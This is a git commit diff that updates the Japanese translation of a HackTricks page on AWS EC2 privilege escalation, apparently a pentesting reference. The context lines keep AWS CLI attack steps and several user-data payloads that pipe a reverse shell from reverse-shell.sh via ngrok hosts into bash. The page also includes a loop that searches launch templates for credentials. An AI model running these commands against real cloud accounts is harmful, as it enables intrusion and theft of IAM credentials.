mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-30 22:50:43 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -4,7 +4,7 @@
|
||||
|
||||
## EC2
|
||||
|
||||
**EC2に関する詳細情報**は次を確認してください:
|
||||
**EC2に関する詳細情報**は以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
@@ -16,7 +16,7 @@
|
||||
|
||||
- **SSH経由でのアクセス**
|
||||
|
||||
**作成した** **sshキー**を使用して新しいインスタンスを起動し(`--key-name`)、その後sshで接続します(新しいものを作成する場合は、`ec2:CreateKeyPair`の権限が必要になることがあります)。
|
||||
**作成した** **sshキー**(`--key-name`)を使用して新しいインスタンスを起動し、その後sshで接続します(新しいものを作成する場合は、`ec2:CreateKeyPair`の権限が必要になることがあります)。
|
||||
```bash
|
||||
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
|
||||
@@ -24,13 +24,13 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
```
|
||||
- **ユーザーデータによるリバースシェルへのアクセス**
|
||||
|
||||
**ユーザーデータ** (`--user-data`) を使用して新しいインスタンスを起動すると、**リバースシェル**を送信します。この方法ではセキュリティグループを指定する必要はありません。
|
||||
**ユーザーデータ** (`--user-data`) を使用して新しいインスタンスを起動すると、**リバースシェル**を送信することができます。この方法ではセキュリティグループを指定する必要はありません。
|
||||
```bash
|
||||
echo '#!/bin/bash
|
||||
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
|
||||
|
||||
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
--iam-instance-profile Name=E<instance-profile-name> \
|
||||
--iam-instance-profile Name=<instance-profile-name> \
|
||||
--count 1 \
|
||||
--user-data "file:///tmp/rev.sh"
|
||||
```
|
||||
@@ -80,9 +80,9 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
|
||||
# Add role to instance profile
|
||||
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
|
||||
```
|
||||
もし**インスタンスプロファイルにロールがある**場合、攻撃者が**それを削除できない**場合、別の回避策があります。彼は**ロールのないインスタンスプロファイルを見つける**か、**新しいものを作成する**ことができます(`iam:CreateInstanceProfile`)、**そのインスタンスプロファイルにロールを追加**し(前述の通り)、**侵害されたインスタンスに関連付ける**ことができます:
|
||||
もし**インスタンスプロファイルにロールがある**場合、攻撃者が**それを削除できない**場合、別の回避策があります。彼は**ロールのないインスタンスプロファイルを見つける**か、**新しいものを作成する**ことができます(`iam:CreateInstanceProfile`)、その**インスタンスプロファイルにロールを追加**し(前述の通り)、**侵害されたインスタンスに関連付ける**ことができます:
|
||||
|
||||
- インスタンスが**インスタンスプロファイルを持っていない場合**(`ec2:AssociateIamInstanceProfile`)
|
||||
- インスタンスに**インスタンスプロファイルがない場合**(`ec2:AssociateIamInstanceProfile`)
|
||||
```bash
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
@@ -92,7 +92,7 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --ins
|
||||
|
||||
これらの権限を持つことで、インスタンスに関連付けられたインスタンスプロファイルを変更することが可能です。攻撃者がすでにインスタンスにアクセスしている場合、関連付けられたインスタンスプロファイルを変更することで、より多くのインスタンスプロファイルロールの資格情報を盗むことができます。
|
||||
|
||||
- **インスタンスプロファイルがある場合、** インスタンスプロファイルを **削除** (`ec2:DisassociateIamInstanceProfile`) し、**関連付ける**ことができます。
|
||||
- **インスタンスプロファイルがある場合、** インスタンスプロファイルを **削除** (`ec2:DisassociateIamInstanceProfile`) し、**関連付ける** ことができます。
|
||||
```bash
|
||||
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
|
||||
aws ec2 disassociate-iam-instance-profile --association-id <value>
|
||||
@@ -102,12 +102,12 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --ins
|
||||
```bash
|
||||
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
|
||||
```
|
||||
**潜在的な影響:** 別のEC2ロールへの直接的な権限昇格(AWS EC2インスタンスを侵害し、いくつかの追加権限または特定のインスタンスプロファイルの状態を持っている必要があります)。
|
||||
**潜在的影響:** 別の EC2 ロールへの直接的な権限昇格 (AWS EC2 インスタンスを侵害し、いくつかの追加権限または特定のインスタンスプロファイルの状態を持っている必要があります)。
|
||||
|
||||
### `ec2:RequestSpotInstances`,`iam:PassRole`
|
||||
|
||||
**`ec2:RequestSpotInstances`および`iam:PassRole`**の権限を持つ攻撃者は、**EC2ロールが付与された** **Spot Instance**を**リクエスト**し、**ユーザーデータ**に**rev shell**を含めることができます。\
|
||||
インスタンスが実行されると、彼は**IAMロールを盗む**ことができます。
|
||||
**`ec2:RequestSpotInstances`および`iam:PassRole`** の権限を持つ攻撃者は、**EC2 ロールが付与された** **Spot Instance** を **リクエスト** し、**ユーザーデータ** に **rev shell** を含めることができます。\
|
||||
インスタンスが実行されると、彼は **IAM ロールを盗む** ことができます。
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
@@ -119,9 +119,9 @@ aws ec2 request-spot-instances \
|
||||
```
|
||||
### `ec2:ModifyInstanceAttribute`
|
||||
|
||||
攻撃者は **`ec2:ModifyInstanceAttribute`** を使用してインスタンスの属性を変更できます。その中で、**ユーザーデータを変更**することができ、これによりインスタンスが **任意のデータを実行**することが可能になります。これを利用して **EC2インスタンスへのリバースシェルを取得**することができます。
|
||||
**`ec2:ModifyInstanceAttribute`** を持つ攻撃者は、インスタンスの属性を変更できます。その中で、**ユーザーデータを変更**することができ、これによりインスタンスが**任意のデータを実行**することが可能になります。これを利用して、**EC2インスタンスへのリバースシェルを取得**することができます。
|
||||
|
||||
属性は **インスタンスが停止している間のみ** **変更**できることに注意してください。そのため、**`ec2:StopInstances`** および **`ec2:StartInstances`** の **権限**が必要です。
|
||||
属性は**インスタンスが停止している間のみ変更**できるため、**`ec2:StopInstances`** および **`ec2:StartInstances`** の**権限**が必要です。
|
||||
```bash
|
||||
TEXT='Content-Type: multipart/mixed; boundary="//"
|
||||
MIME-Version: 1.0
|
||||
@@ -158,11 +158,11 @@ aws ec2 modify-instance-attribute \
|
||||
|
||||
aws ec2 start-instances --instance-ids $INSTANCE_ID
|
||||
```
|
||||
**潜在的影響:** 作成されたインスタンスに付随する任意の EC2 IAM ロールへの直接的な権限昇格。
|
||||
**潜在的影響:** 作成されたインスタンスに付随する任意の EC2 IAM ロールへの直接的な特権昇格。
|
||||
|
||||
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
|
||||
|
||||
**`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`および `ec2:ModifyLaunchTemplate`** の権限を持つ攻撃者は、**ユーザーデータ**に**rev shell**を含む**新しい Launch Template バージョン**を作成し、デフォルトバージョンを変更し、その**Launch Template**を使用する**任意の Autoscaler グループ**は、**最新**または**デフォルトバージョン**を使用するように**構成**されているため、そのテンプレートを使用してインスタンスを**再実行**し、rev shellを実行します。
|
||||
**`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`および `ec2:ModifyLaunchTemplate`** の権限を持つ攻撃者は、**ユーザーデータ**に**rev shell**を含む**新しい Launch Template バージョン**を作成し、デフォルトバージョンを変更し、その**Launch Template**を使用する**任意の Autoscaler グループ**は、**最新**または**デフォルトバージョン**を使用するように**構成**されているため、そのテンプレートを使用して**インスタンスを再実行**し、rev shellを実行します。
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
@@ -211,7 +211,7 @@ aws ec2-instance-connect send-ssh-public-key \
|
||||
--instance-os-user "ec2-user" \
|
||||
--ssh-public-key "file://$PUBK_PATH"
|
||||
```
|
||||
**潜在的な影響:** 実行中のインスタンスにアタッチされたEC2 IAMロールへの直接的な権限昇格。
|
||||
**潜在的な影響:** 実行中のインスタンスに接続されたEC2 IAMロールへの直接的な権限昇格。
|
||||
|
||||
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
|
||||
|
||||
@@ -229,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
|
||||
|
||||
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
|
||||
```
|
||||
この方法は、悪用するためにユーザー名とパスワードを知っている必要があるため、特権昇格にはあまり役立ちません。
|
||||
この方法は、悪用するためにユーザー名とパスワードを知っている必要があるため、特に役に立ちません。
|
||||
|
||||
**潜在的な影響:** (非常に証明が難しい)実行中のインスタンスに添付されたEC2 IAMロールへの直接的な特権昇格。
|
||||
**潜在的な影響:** (非常に証明が難しい)実行中のインスタンスに添付されたEC2 IAMロールへの直接的な権限昇格。
|
||||
|
||||
### `describe-launch-templates`,`describe-launch-template-versions`
|
||||
|
||||
起動テンプレートにはバージョン管理があるため、**`ec2:describe-launch-templates`** および **`ec2:describe-launch-template-versions`** 権限を持つ攻撃者は、ユーザーデータに存在する資格情報などの機密情報を発見するためにこれらを悪用することができます。これを達成するために、以下のスクリプトは利用可能な起動テンプレートのすべてのバージョンをループします:
|
||||
起動テンプレートにはバージョン管理があるため、**`ec2:describe-launch-templates`** および **`ec2:describe-launch-template-versions`** の権限を持つ攻撃者は、ユーザーデータに存在する資格情報などの機密情報を発見するためにこれらを悪用することができます。これを達成するために、以下のスクリプトは利用可能な起動テンプレートのすべてのバージョンをループします:
|
||||
```bash
|
||||
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
|
||||
do
|
||||
@@ -250,7 +250,7 @@ done
|
||||
```
|
||||
上記のコマンドでは、特定のパターン(`aws_|password|token|api`)を指定していますが、他の種類の機密情報を検索するために異なる正規表現を使用することもできます。
|
||||
|
||||
`aws_access_key_id` と `aws_secret_access_key` が見つかった場合、これらの資格情報を使用してAWSに認証できます。
|
||||
`aws_access_key_id` と `aws_secret_access_key` を見つけた場合、これらの資格情報を使用してAWSに認証できます。
|
||||
|
||||
**潜在的な影響:** IAMユーザーへの直接的な権限昇格。
|
||||
|
||||
|
||||
Reference in New Issue
Block a user